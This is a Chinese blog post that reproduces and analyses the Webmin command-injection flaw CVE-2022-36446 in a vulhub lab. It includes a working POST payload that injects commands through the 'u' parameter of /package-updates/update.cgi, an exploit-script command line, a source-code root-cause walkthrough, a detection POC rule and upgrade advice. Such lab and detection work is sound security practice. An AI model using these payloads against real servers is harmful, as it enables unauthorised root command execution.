跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Shell / Bash

Webmin 任意命令执行漏洞(CVE-2022-36446)复现与分析

综述由AI生成Webmin 1.997 版本之前存在任意命令执行漏洞(CVE-2022-36446)。该漏洞需要身份验证且账户需拥有软件包更新模块权限。攻击者可通过构造特定请求在 update.cgi 接口注入系统命令,以 root 权限执行。修复方法为升级至 1.997 及以上版本或应用官方补丁。详细阐述了漏洞原理、复现步骤及 POC 规则编写。

猫巷少女发布于 2025/2/7更新于 2026/6/629 浏览
Webmin 任意命令执行漏洞(CVE-2022-36446)复现与分析

0x01 漏洞介绍

漏洞等级:严重

Webmin 是功能最强大的基于 Web 的 Unix 系统管理工具。管理员通过浏览器访问 Webmin 的各种管理功能并完成相应的管理动作。在版本 1.997 之前的 Webmin 中存在一个任意命令注入漏洞,触发该漏洞需登录 Webmin。

0x02 漏洞影响范围

WebMin 版本小于 1.997

0x03 漏洞利用条件

  • 此漏洞需身份验证;
  • 并且该账户必须有权限访问软件包更新模块,需要访问'Software Package Updates'模块才能触发漏洞;

0x04 漏洞复现

环境搭建
  1. 使用 vulhub 搭建环境,把 vulhub 下载到本地。

  2. 进入 vulhub/webmin/CVE-2022-36446,使用此环境进行 CVE-2022-36446 漏洞复现。

docker-compose up -d   # 启动漏洞环境
docker-compose ps      # 查看漏洞环境映射的端口
  1. 访问 https://ip:10000,出现以下界面表示环境部署成功。

  2. 接下来需要修改 webmin 的密码,需要进入容器中修改。

docker ps     # 查看漏洞环境容器 id
docker exec -it 容器 id /bin/bash    # 进入容器内部
cd /usr/share/webmin/                     # 进入容器内的/usr/share/webmin/目录下
./changepass.pl /etc/webmin root root   # 将 root 密码设置为 root
漏洞复现
  1. 以上设置完之后,使用 root/root 登录 webmin。

  2. 抓取登录后的任意数据包。

  3. 发送到 Repeater 模块,更改请求方式为 POST。

  4. 更改请求路径为 /package-updates/update.cgi,添加 payload,发送请求,返回包中出现命令执行结果。

mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow

Payload 示例:

POST /package-updates/update.cgi HTTP/1.1
Host: X.X.X.X:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-From: mount
X-Requested-From-Tab: webmin
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://X.X.X.X:10000/mount/?xnavigation=1
Cookie: redirect=1; testing=1; sid=75eb9d34c1642057244dc271fb980bf6
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
mode=new&search=ssh&redir=&redirdesc=&u=0%3Bid%3B&confirm=Install%2BNow
EXP

也可直接通过脚本进行漏洞利用。

python3 CVE-2022-36446.py -t https://X.X.X.X:10000/ -u root -p root -k -I

有可能会出现以下报错,将 CVE-2022-36446.py 文件中的 soup = BeautifulSoup(r.content, 'lxml') 全部改为 soup = BeautifulSoup(r.content, 'html.parser'),再重新执行即可。

漏洞分析

命令执行:当应用需要调用外部程序处理某些内容的情况下,就会用到一些执行系统命令的函数,比如最常见的 php 中的 system、exec、shell_exec 等等。当用户可以控制命令执行函数中的参数时,就可以注入一些恶意的系统命令到正常的命令中,造成命令执行攻击。

Webmin 是目前功能最强大的基于 web 的 unix 系统管理工具,管理员通过浏览器访问 webmin 的各种管理功能并完成相应的管理动作。

Webmin 使用操作系统包管理器(apt、yum 等)来执行包更新和安装。由于缺乏输入清理(1.997 之前的 Webmin 中的 software/apt-lib.pl 缺少 UI 命令的 HTML 转义),可以注入将连接到包管理器调用的任意命令。

此漏洞需要身份验证,并且该账户必须有权限访问软件包更新模块,用户可以通过在新软件包安装期间执行系统命令,并以 root 权限运行命令。

该模块在 /package-updates/ 文件夹下开发。其中有一个 update.cgi 文件,该文件中第 39 行使用参数 U 指定用户的包名称,并在第 50 行检查请求中是否存在'confirm'参数。第 57 行,如果请求中没有'confirm'参数,就会调用带有变量'pkgnames'的'list_package_operations()'函数,其中存储了包名。

通过 /package-updates/update.cgi 文件的第 4 行可知道,'list_package_operations'函数位于'pakage-updates-lib.pl'文件中。

'list_package_operations()'函数定义于 pakage-updates-lib.pl 文件的第 408 行。此函数将'$name'的值(即包名)发送到第 412 行中名为 software 文件中的'update_system_operations()'函数。

再通过搜索功能找到定义 update_system_operations() 函数的文件为 apt-lib.pl 和 yum-lib.pl。顾名思义,apt-lib.pl 文件使用的是 apt 包,yum-lib.pl 文件使用的是 yum 包。两者所做的工作是相同的,但是因为运行 Webmin 的系统和该系统的包管理器不同,所以只是文件中的某些命令会不同,故分析哪个文件都可以。

查看 /software/apt-lib.pl 文件,在第 75 行定义了 update_system_operations() 函数。第 83 行,通过'backquote_command()'函数来执行系统命令,也是通过此函数对系统运行的命令进行安全控制,也防止用户在此注入命令。

再继续看 update.cgi 文件,如果需要安装一个包,则会调用第 129 行的'package_install()'函数。

通过查找,package_install() 函数位于'package-updates-lib.pl'文件中第 300 行。查看函数内容发现,'update_system_install()'函数是通过'$name'变量调用的,它是用户在第 345 行给出的包名(从之前的分析得出,这些函数是在 apt-lib.pl 文件中定义的)。

再查看 apt-lib.pl 文件,找到相关函数。

第 18 行看到函数的第一个参数(即用户之前发送的包名)被分配给'update'变量。第 26 行,'update'变量被包含在了命令中,而且没有做任何的控制机制。第 46 行发现,相关的命令会直接在系统上执行,也是没有做任何的控制机制。

所以,用户可以通过在新的软件包安装请求中提供'confirm'参数,并在软件包中指定在系统上运行命令的值,以 root 权限在系统上执行命令。

0x05 检测 POC 规则编写

params:
- mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow
name: Webmin 命令执行漏洞(CVE-2022-36446)
set: {}
rules:
- method: POST
  path: /package-updates/update.cgi
  headers:
    Cookie: redirect=1; testing=1; sid=75eb9d34c1642057244dc271fb980bf6
  body: mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow
  search: ""
  followredirects: false
  expression: response.status == 200 && response.body.bcontains(b"root")
groups: {}
detail:
  author: ""
  links: []
  description: ""
  version: ""

0x06 漏洞修复

  1. 升级到 1.997 及以上版本
  2. 补丁获取

目录

  1. 0x01 漏洞介绍
  2. 0x02 漏洞影响范围
  3. 0x03 漏洞利用条件
  4. 0x04 漏洞复现
  5. 环境搭建
  6. 漏洞复现
  7. EXP
  8. 漏洞分析
  9. 0x05 检测 POC 规则编写
  10. 0x06 漏洞修复
  • 💰 8折买阿里云服务器限时8折了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 🤖 一键搭建Deepseek满血版了解详情
  • 一键打造专属AI 智能体了解详情
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • LAM-YOLO: 无人机小目标检测模型的光照遮挡注意力机制
  • 国内网络安全工程师常见证书介绍与选择建议
  • 绿联 NAS 配置 WebDAV 公网访问并使用 RaiDrive 挂载到本地
  • Android System WebView 详解与版本兼容性指南
  • PageHelper 分页越界仍返回数据的原理及配置调整
  • MCP AI Copilot 集成开发实战与高效代码生成技巧
  • 轻量级C++插件框架设计与实现
  • Mac 基于 LLaMA Factory 微调模型并导入 Ollama 实践
  • Stable Diffusion WebUI Docker 部署指南
  • WebGIS 开发中 WKT 转 GeoJSON 的技巧与 Leaflet 加载应用
  • 前端状态管理实战:Recoil 原子化方案详解
  • 私有图像识别向阿里开源模型迁移方案:环境配置与代码适配
  • Qwen3.5-9B 以 1/13 参数量超越 GPT-oss-120B 的技术分析
  • 鸿蒙 WebView 混合开发中 Web 内部网络请求跨域问题的客户端解决方案
  • Linux 动静态库开发:编译构建、链接使用及问题排查
  • 电子招标采购商城系统优化传统采购与数字化升级
  • C++ 流程控制语句详解:顺序、选择与循环结构
  • 基于 SpringBoot 的青年公寓服务平台
  • 基于 PySide6 和 VTK 的 STL 文件曲面选择器与导出工具
  • 哈希表核心原理与 C++ 实战应用

相关免费在线工具

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online

  • HTML转Markdown

    将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online

  • JSON 压缩

    通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online

  • JSON美化和格式化

    将JSON字符串修饰为友好的可读格式。 在线工具,JSON美化和格式化在线工具,online